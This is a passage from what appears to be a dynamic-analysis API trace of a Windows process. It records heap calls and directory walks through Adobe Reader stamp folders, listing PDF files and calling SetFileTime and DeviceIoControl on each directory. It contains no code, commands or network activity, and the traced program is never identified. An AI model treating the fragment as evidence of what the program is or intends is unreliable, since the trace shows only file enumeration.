RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.257] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.257] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.257] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.257] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12158a0 [0083.257] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a8328 [0083.258] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.258] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806bec20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1c4f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Standard.pdf", cAlternateFileName="")) returned 1 [0083.258] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.258] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.258] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.259] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.259] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.259] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12158c0 [0083.259] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a8430 [0083.259] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.259] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806bec20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x10873, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="")) returned 1 [0083.259] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.260] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.260] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.260] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.260] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.260] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12158e0 [0083.260] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a8538 [0083.261] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.261] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806bec20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x10873, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="")) returned 0 [0083.261] GetLastError () returned 0x12 [0083.261] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\POL\\*", fInfoLevelId=0x1, lpFindFileData=0x119e474, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e474) returned 0x2e8f80 [0083.261] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0083.261] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x806bec20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x806e4d80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x806e4d80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0083.261] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806e4d80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x907a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0083.261] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806bec20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x80f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Faces.pdf", cAlternateFileName="")) returned 1 [0083.261] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806bec20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb731, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pointers.pdf", cAlternateFileName="")) returned 1 [0083.261] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806bec20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4fff9, dwReserved0=0x0, dwReserved1=0x0, cFileName="SignHere.pdf", cAlternateFileName="")) returned 1 [0083.261] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806bec20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1c4f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Standard.pdf", cAlternateFileName="")) returned 1 [0083.261] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806bec20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x10873, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="")) returned 1 [0083.261] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806bec20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x10873, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="")) returned 0 [0083.261] GetLastError () returned 0x12 [0083.262] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a36d8) returned 1 [0083.262] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0083.263] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a35d0) returned 1 [0083.263] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a34c8) returned 1 [0083.263] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff748c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff748c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff748c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PTB", cAlternateFileName="")) returned 1 [0083.263] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a34c8 [0083.263] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\PTB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ptb"), fInfoLevelId=0x0, lpFileInformation=0x119e628 | out: lpFileInformation=0x119e628*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff748c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff748c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff748c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0083.264] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\PTB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ptb"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0083.264] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x119e66c, lpLastWriteTime=0x119e66c) returned 0 [0083.264] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12d0d88 [0083.264] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12d0d88, nOutBufferSize=0x4000, lpBytesReturned=0x119e6c4, lpOverlapped=0x0 | out: lpOutBuffer=0x12d0d88, lpBytesReturned=0x119e6c4, lpOverlapped=0x0) returned 0 [0083.265] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12d0d88) returned 1 [0083.265] NtClose (Handle=0x174) returned 0x0 [0083.265] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a34c8) returned 1 [0083.265] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.265] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.265] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a34c8 [0083.266] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.266] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a35d0 [0083.266] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\PTB\\*", fInfoLevelId=0x1, lpFindFileData=0x119e474, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e474) returned 0x2e8f80 [0083.266] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff748c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff748c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff748c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0083.266] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff748c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc4a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0083.266] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.267] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.267] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.267] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.267] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.267] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a36d8 [0083.268] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.268] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1215900 [0083.268] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a8640 [0083.268] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.268] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff748c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9c53, dwReserved0=0x0, dwReserved1=0x0, cFileName="SignHere.pdf", cAlternateFileName="")) returned 1 [0083.268] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.268] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.269] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.269] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.269] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.269] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1215920 [0083.269] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a8748 [0083.270] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.270] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff748c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x19c87, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="")) returned 1 [0083.270] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.270] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.270] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.270] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.271] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.271] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1215940 [0083.271] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a8850 [0083.271] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.271] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff748c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x19c87, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="")) returned 0 [0083.271] GetLastError () returned 0x12 [0083.271] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\PTB\\*", fInfoLevelId=0x1, lpFindFileData=0x119e474, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e474) returned 0x2e91c0 [0083.271] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0083.272] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff748c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff748c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff748c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0083.272] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff748c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc4a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0083.272] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff748c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9c53, dwReserved0=0x0, dwReserved1=0x0, cFileName="SignHere.pdf", cAlternateFileName="")) returned 1 [0083.272] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff748c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x19c87, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="")) returned 1 [0083.272] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff748c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x19c87, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="")) returned 0 [0083.272] GetLastError () returned 0x12 [0083.272] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a35d0) returned 1 [0083.272] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0083.272] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a36d8) returned 1 [0083.272] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a34c8) returned 1 [0083.272] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80698ac0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x806bec20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x806bec20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RUM", cAlternateFileName="")) returned 1 [0083.272] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a34c8 [0083.273] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUM" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rum"), fInfoLevelId=0x0, lpFileInformation=0x119e628 | out: lpFileInformation=0x119e628*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80698ac0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x806bec20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x806bec20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0083.273] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUM" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rum"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0083.274] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x119e66c, lpLastWriteTime=0x119e66c) returned 0 [0083.274] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12d0d88 [0083.274] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12d0d88, nOutBufferSize=0x4000, lpBytesReturned=0x119e6c4, lpOverlapped=0x0 | out: lpOutBuffer=0x12d0d88, lpBytesReturned=0x119e6c4, lpOverlapped=0x0) returned 0 [0083.274] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12d0d88) returned 1 [0083.274] NtClose (Handle=0x180) returned 0x0 [0083.274] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a34c8) returned 1 [0083.274] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.275] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.275] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a34c8 [0083.275] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.275] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a36d8 [0083.275] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUM\\*", fInfoLevelId=0x1, lpFindFileData=0x119e474, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e474) returned 0x2e91c0 [0083.277] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80698ac0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x806bec20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x806bec20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0083.277] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806bec20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15fc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0083.277] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.277] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.277] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.278] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.278] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.278] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a35d0 [0083.278] 